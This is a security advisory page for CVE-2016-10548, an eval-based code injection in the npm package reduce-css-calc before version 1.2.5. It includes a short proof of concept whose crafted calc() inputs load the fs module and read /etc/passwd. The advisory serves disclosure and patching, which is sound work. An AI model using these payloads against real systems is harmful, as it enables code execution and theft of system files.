Advisory

GHSA-4662-j96g-mv46

Also known as: CVE-2016-10548

Summary

Arbitrary Code Injection in reduce-css-calc

Details

Affected versions of reduce-css-calc pass input directly to eval. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.

Proof of Concept

const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc(                       (fs['readFileSync']("/etc/passwd", "utf-8")))`));

Recommendation

Update to version 1.2.5 or later.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2018-06-07 19:43 UTC
Modified
2023-11-08 03:58 UTC

Affected packages and fixes

reduce-css-calc

npm · All systems

Affected

  • introduced 0, fixed 1.2.5 (semver)

Fixed versions

1.2.5

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences